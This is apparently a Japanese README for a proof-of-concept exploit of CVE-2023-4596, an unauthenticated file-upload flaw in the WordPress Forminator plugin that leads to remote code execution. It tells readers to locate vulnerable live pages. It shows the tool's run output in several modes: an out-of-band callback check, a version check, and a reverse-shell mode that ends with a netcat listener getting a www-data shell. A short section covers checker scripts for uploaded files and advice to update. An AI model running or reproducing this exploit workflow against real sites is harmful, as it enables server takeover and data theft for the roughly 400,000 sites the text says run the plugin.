
CVE-2023-4596向けPoCスクリプト。任意のファイルアップロードによる認証なしのリモートコマンド実行。
CVE-2023-4596 の PoC スクリプト。任意のファイルアップロードによる認証なしのリモートコマンド実行。
使用中のPoCの動画
Nuclei テンプレート
ニュース記事
WordFence
NVD Nist
重要な脆弱性がWordPressプラグインForminatorで発見されました。これにより、認証されていない攻撃者がサーバーに任意のファイルをアップロードできるようになります。初期の実証コード(PoC)は不十分に書かれており、元の研究者は不明瞭なコードを含むリクエストとともに数枚の不明瞭なスクリーンショットを共有しました。そこで、プロセスを簡素化し自動化するためにPythonスクリプトを作成しました。
この脆弱性は、ファイルタイプの検証プロセスのエラーによって引き起こされます。PHPなどの禁止されたファイル形式をアップロードしようとすると、「アップロードされたファイルの拡張子は許可されていません」というアラートが生成されます。この通知にもかかわらず、アップロードされたファイルはブロックされず、正常にアップロードされ、サイトの「/wp-content/uploads」フォルダ内にアクセスできます。この脆弱性により、リモートコード実行が可能になります。
Forminatorは現在40万以上のサイトでアクティブであり、脆弱性の単純さから、ファイルアップロードが有効になっているForminatorを実行しているサイトを制御するのは非常に簡単です。
アップロード機能のあるForminator <= 1.24.6を実行しているページを見つけてください。Forminatorを使用してファイルアップロードのpostdataを実行しているページの完全なURLをコピーしてください。ドメインのみを指定するとエラーが発生します。 interactsh または Burp Collaborator を使用してリンクを生成し、選択したフィールドに貼り付けることができます。アップロードが成功すると、5秒以内にinteractshまたはburpにリクエストが表示され、脆弱であることが示されます。
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Input out-of-band link: <input link>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/RefhnSzyQe.php
[+] Sending request to uploaded file...
[+] Successfully triggered the uploaded file!
[+] Check for an incoming request
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -v
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
[+] Vulnerable version found: 1.24.6
user@debian:~$ python3 exploit.py -u http://127.0.0.1:8000/?p=7 -r
______ _ _ ______ _____ _____
|@E1A | (_) | | | ___ \/ __ \| ___|
| |_ ___ _ __ _ __ ___ _ _ __ __ _| |_ ___ _ __ | |_/ /| / \/| |__
| _/ _ \| '__| '_ ` _ \| | '_ \ / _` | __/ _ \| '__| | / | | | __|
| || (_) | | | | | | | | | | | | (_| | || (_) | | | |\ \ | \__/\| |___
\_| \___/|_| |_| |_| |_|_|_| |_|\__,_|\__\___/|_| \_| \_| \____/\____/
Enter IP address: <input IP>
Enter port: <input port>
[+] Sending payload to target
[+] Successful file upload!
Uploaded File Location: http://127.0.0.1:8000/wp-content/uploads/2023/09/IXLTyDMTEg.php
[+] Sending request to uploaded file...
[-] Request timed out. This could be due to the server being unavailable or because you started an reverse shell
user@debian:~$ nc -lnvp 9001
Listening on 0.0.0.0 9001
Connection received on 127.0.0.1 52760
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
スクリプトに必要なのは、Forminatorでファイルアップロードが有効になっているページの完全なURLと、脆弱性を確認するためのinteractshリンクのみです。最初のリクエストはページに送信され、ページごとに異なる値であるforminator_nonceとform_idを抽出します。これらの値を取得した後、抽出された値を使用して2番目のリクエストが送信され、PHPファイルがアップロードされます。このPHPファイルは、以前にユーザーが指定したinteractshリンクを使用し、それをスクリプトに追加します。PHPスクリプトが配置されているページにアクセスすると、interactshにリクエストが表示され、サイトが脆弱であることが示されます。 正規表現はURLを後でリクエストで使用する部分に分割するために使用され、-v引数を使用したときに表示されるForminatorのバージョンを特定するためにも使用されます。ファイルのアップロード先は、ファイルをアップロードした年と月によって異なります。そのため、datetimeを使用して現在の月と年を特定し、後でアップロードされたファイルの場所にリクエストを送信するために使用しています。 脆弱性をテストしているときは単一のファイル名を使用していましたが、複数のファイルを送信した後、最初にアップロードされたファイルだけが実行されることに気付きました。これを修正するために、リクエストごとにランダムな文字列を使用しています。
[-] forminator_nonceを抽出できませんでした
このエクスプロイトは、Forminatorでファイルアップロードが有効になっているページの正確なリンクが指定された場合にのみ機能します。ドメインのみ、またはファイルアップロードが実行されていないページのリンクが指定された場合、エラーが発生します。これは、指定されたURLからforminator_nonceを抽出するためであり、そのページがForminatorまたはForminatorのファイルアップロードを実行していない場合、値を見つけることができず使用できません。サイトのソースコードで「forminator-field-post-image-postdata」という文字列を探すことでも確認できます。完全なリンクの例は次のようになります: http://127.0.0.1:8000/?p=7。問題の詳細はこちらで確認できます。
リポジトリには2つのファイル(checker.shとchecker.bat)が含まれており、現在のフォルダとサブフォルダ内でブロックされた拡張子を持つファイルをチェックします。見つかった場合は表示されます。このスクリプトの理由は、プラグインがインストールされている月ごとに新しいフォルダが作成されるため、手動ですべてをチェックするのは大変な作業になる可能性があるからです。
最新バージョンに更新してください。
http://127.0.0.1:8000 にアクセス提供されるスクリプトは教育目的のみであり、あなたの行動について私は責任を負いません。
Twitter
作成者: Finn van der Knaap